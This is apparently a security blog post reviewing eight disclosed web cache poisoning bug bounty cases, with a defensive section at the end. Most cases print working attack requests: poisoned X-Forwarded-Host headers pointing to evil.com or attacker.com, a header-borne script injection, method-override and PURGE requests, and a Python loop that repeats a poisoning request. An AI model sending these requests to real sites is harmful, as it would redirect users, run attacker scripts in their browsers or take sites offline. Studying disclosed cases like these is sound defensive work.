Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class

Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class

November 24, 2025 7 min read

The first part of a three-section deep dive analyzing early real-world cache poisoning bugs across HackerOne, GitHub, Shopify, and private programs.




Disclaimer

This research-driven article is for educational and defensive security purposes only. All case studies are based on publicly disclosed bug bounty reports and ethical security research.
Do not reproduce these techniques on systems without explicit authorization.


Introduction

Cache poisoning has become one of the most powerful and profitable bug classes in modern web security. Although it once appeared niche, cache poisoning has evolved into a high-impact attack vector affecting CDNs, cloud platforms, server frameworks, and multi-tenant SaaS providers.

This Part 1 of the three-part series covers the foundational attacks - the first documented real-world cache poisoning incidents that paved the way for later, more sophisticated techniques. These early reports demonstrate not only how straightforward misconfigurations can lead to devastating effects, but also how attackers learned to weaponize headers, request behaviors, and cache key inconsistencies to breach platforms with millions of users.

These case studies lay the groundwork for advanced exploitation techniques covered in Part 2 and Part 3.

High-level diagram illustrating a cache being poisoned by manipulated HTTP headers.


Understanding Web Cache Poisoning

Before diving into each case, it’s worth revisiting what cache poisoning is:

Web cache poisoning occurs when an attacker manipulates a reverse proxy, CDN, or server-side cache into storing a malicious response, which is then served to other users.

Beginner Breakout: Why Caches Exist

Caches accelerate performance by storing responses to common requests such as:

  • Static files (JS, CSS, images)
  • API responses
  • HTML pages

If the cache returns the wrong content - malicious or invalid - all users are affected until the cache expires.

Why Cache Poisoning Is Dangerous

Because:

  • It scales automatically
  • Affects many users with one request
  • Often bypasses authentication
  • Can convert reflected bugs into stored bugs
  • Can break entire applications (DoS)
  • Can lead to XSS, redirection, content injection, OAuth token leak, and more

Case Study #1 - HackerOne’s Early Days: The First Documented Cache Poison

Program: HackerOne
Bounty: Undisclosed
Year: 2014
Report ID: #487

This case is historically important because it is one of the earliest documented cache poisoning reports on a mainstream bug bounty platform.

The Vulnerability

HackerOne trusted the X-Forwarded-Host header without validation. Since the header wasn’t part of the cache key, attackers could poison the cache.

Attack Request

GET / HTTP/1.1  
Host: hackerone.com  
X-Forwarded-Host: evil.com
HTTP

After a single malicious request, anyone visiting hackerone.com was redirected to evil.com.

Why It Worked

  • The application blindly trusted proxy headers.
  • The header was not included in the cache key.
  • Poisoning persisted for subsequent visitors.

Extracted Techniques

  • Test legacy headers (X-Forwarded-*).
  • Confirm poison persistence after removing headers.
  • Always demonstrate real impact (redirect chains, spoofed hostnames).

Diagram showing how X-Forwarded-Host poisoning redirects traffic.


Case Study #2 - GitHub’s $4,850 Repository DoS Through Content-Type Poisoning

Program: GitHub
Reporter: Iustin Ladunca
Bounty: $4,850
Impact: Repository DoS for unauthenticated users

The Vulnerability

GitHub treated the Content-Type header as part of its redirect logic but did not include it in the cache key for unauthenticated users.

Attack Vector

GET /user/repo HTTP/1.1  
Host: github.com  
Content-Type: invalid-value-here
HTTP

Authenticated users were protected due to cookie-based cache keys, but all unauthenticated traffic shared a single cache entry.

Using PURGE (Amplifier)

curl -X GET https://github.com/target/repo \
  -H "Content-Type: malicious"

curl -X PURGE https://github.com/target/repo
Bash

GitHub mistakenly allowed the PURGE method, making the attack trivial to weaponize.

Extracted Techniques

  • Always test behavior differences for authenticated vs unauthenticated users.
  • Check for support of dangerous methods like PURGE.
  • Cacheable error responses = high-value targets.

Visual explanation of Content-Type-based cache poisoning.

Visual explanation of Content-Type–based cache poisoning.

Visual explanation of Content-Type–based cache poisoning.


Case Study #3 - Shopify’s $6,300 Multi-Host Cache Poison

Program: Shopify
Reporter: Iustin Ladunca
Initial Bounty: $1,300
Final Bounty: $6,300
Report ID: #977851

This attack is notable for its persistence across multiple hosts.

Attack Code (Looped Poisoning)

import requests
import time

target = "https://shop.shopify.com/endpoint"
poison_header = {"X-Forwarded-Host": "attacker.com"}

for i in range(100):
    requests.get(target, headers=poison_header)
    time.sleep(0.1)

# Verify persistence
response = requests.get(target)
print("attacker.com" in response.text)
Python

Key Learnings

  • Some caches need multiple hits before poisoning.
  • Once poisoned, the malicious value persisted even without the header.
  • The vulnerability extended across multiple Shopify properties, increasing bounty.

Extracted Techniques

  • Test for multi-host impact - many companies use shared caching layers.
  • Loop poisoning requests to force cache overwrite.
  • Document impact across localized hosts for larger bounties.

A map showing multiple domains sharing one cache layer.


Case Study #4 - Private Program’s $3,000 Stored XSS Chain

Program: Private
Severity: Critical
Bounty: $3,000

This case demonstrates how cache poisoning can convert a reflected XSS into a stored XSS affecting many users.

Attack Request

GET /assets/main.js HTTP/1.1  
Host: target.com  
X-Forwarded-Host: attacker.com
HTTP

Server responded with a 301 redirect which included a poisoned host value.
The redirect was cached, and all users were served:

  • JavaScript from attacker.com
  • Malicious payloads executed on all subdomains

Impact

  • Malware injection
  • Session hijacking
  • Account takeover
  • Stored XSS across 21 subdomains

Extracted Techniques

  • Target JavaScript files - they are universally cached.
  • Test redirect (301/302) responses with unkeyed headers.
  • Map shared JS dependencies for multi-domain attacks.

Visualization of reflected XSS becoming stored via cache poisoning.

Visualization of reflected XSS becoming stored via cache poisoning.


Case Study #5 - GitLab Cache Poisoning via Google Cloud Storage

Program: GitLab
Reporter: Iustin Ladunca
Report ID: #1160407

GitLab stored static files on GCP buckets, which introduced a unique attack surface.

Attack Vector

GET /static/app.js HTTP/1.1  
Host: gitlab.com  
X-HTTP-Method-Override: HEAD
HTTP

This forced GCP to override GET → HEAD, returning:

HTTP/1.1 200 OK  
Content-Length: 0  
Cache-Control: public, max-age=3600
HTTP

The empty body was cached, effectively breaking the site.

Why It Worked

  • GCP Storage supports method overrides.
  • GitLab's cache lacked method-awareness.
  • HEAD responses overwrote GET cache entries.

Extracted Techniques

  • Method override headers are highly dangerous.
  • Test cloud platform behavior (GCP, AWS, Azure).
  • Empty-body attacks can DoS entire applications.

GCP bucket + CDN poisoning visualization.


Case Study #6 - HackerOne’s $2,500 Static File DoS

Program: HackerOne
Bounty: $2,500
Note: DoS was typically out of scope but rewarded due to novelty.

Vulnerability

Rails Rack middleware trusted X-Forwarded-Scheme.
By poisoning static files, attackers created infinite redirect loops.

Attack

GET /static/logo.png HTTP/1.1  
Host: hackerone.com  
X-Forwarded-Scheme: http
HTTP

Server returned a 301 redirect which cached globally, breaking images for all users.

Extracted Techniques

  • Framework-specific headers (Rails, Django, Laravel) often introduce weaknesses.
  • Redirect loops result in high-impact DoS.
  • Even static files can be high-severity cache poison targets.

Graphic focusing on Rails middleware and header trust.


Case Study #7 - Cloudflare’s Capitalized Host Header Bug

Reporter: Iustin Ladunca
Bounty Range: $500–$3,000 per affected program
Scope: 20+ vulnerable programs

This bug was CDN-wide, enabling massive horizontal exploitation.

Attack Pattern

GET / HTTP/1.1  
Host: TaRgEt.CoM
HTTP

Cloudflare normalized host headers before caching but forwarded them raw to origin servers.

Why It Was Devastating

  • Default Cloudflare config vulnerable
  • No special setup needed
  • Millions of sites potentially affected
  • One request could poison countless customers

Extracted Techniques

  • Case manipulation (uppercase, mixed case) is mandatory testing.
  • CDN-level bugs scale horizontally - create automated scanners.
  • Focus on differences between origin and CDN processing.

Host header case normalization issue.


Case Study #8 - Red Hat’s Open Graph Stored XSS

Program: Red Hat
Reporter: James Kettle (PortSwigger)

This bug highlighted meta-tag poisoning and its amplification via social media.

Attack

GET /en?dontpoisoneveryone=1 HTTP/1.1  
Host: www.redhat.com  
X-Forwarded-Host: a.\"><script>alert(1)</script>
HTTP

The poisoned header appeared in Open Graph metadata, then cached.

Why It’s Critical

  • Social networks embed Open Graph tags.
  • Cached poisoned tags executed XSS for anyone opening shared links.
  • Amplifiable via Twitter, Facebook, LinkedIn.

Extracted Techniques

  • Meta tags (og:image, og:url, etc.) are high-value injection points.
  • “no-cache” headers can still be cached depending on CDN rules.
  • Use cache busters (?dontpoisoneveryone=1) to stay safe during testing.

Social media preview poisoning illustration.


Defensive Perspective

Cache poisoning is preventable when organizations enforce strong, layered defenses.

Application-Level Defenses

  • Validate all inbound headers.
  • Reject unrecognized headers explicitly.
  • Include all relevant inputs in cache keys.

CDN-Level Defenses

  • Normalize header behavior consistently.
  • Block dangerous headers (X-Forwarded-*, X-HTTP-Method-Override).
  • Prevent caching of error responses unless necessary.

Architecture-Level Defenses

  • Avoid shared cache pools across tenants.
  • Use strict content-type validation.
  • Disable method override functionality.

Real-World Impact Summary (Part 1)

Case Study Impact Type Severity
HackerOne (2014) Global redirect High
GitHub DoS Unauth DoS Medium–High
Shopify multi-host Persistent poisoning High
Private program XSS Stored XSS Critical
GitLab GCP Application DoS High
HackerOne static Redirect loop Medium
Cloudflare CDN-wide cache poison Critical
Red Hat social XSS Mass victim exposure Critical

Final Thoughts on Part 1

The earliest cache poisoning attacks were deceptively simple - using common headers like X-Forwarded-Host or malformed content types - yet their real-world consequences were severe. These foundational reports laid the groundwork for the more advanced, framework-specific, multi-layer, and supply-chain attacks examined in Part 2 and Part 3.

If Part 1 shows anything, it's this:

Cache poisoning is not just a bug - it's an architectural blind spot.


References

  • PortSwigger Research
  • HackerOne Reports (Public)
  • Shopify, GitLab, GitHub public disclosure archives
  • CDN vendor documentation (Cloudflare, Fastly, Akamai)

Join the Security Intel.

Get weekly VAPT techniques, ethical hacking tools, and zero-day analysis delivered to your inbox.

Weekly Updates No Spam
Herish Chaniyara

Herish Chaniyara

Web Application Penetration Tester (VAPT) & Security Researcher. A Gold Microsoft Student Ambassador and PortSwigger Hall of Fame (#59) member dedicated to securing the web.

Read Next

View all posts

For any queries or professional discussions: herish.chaniyara@gmail.com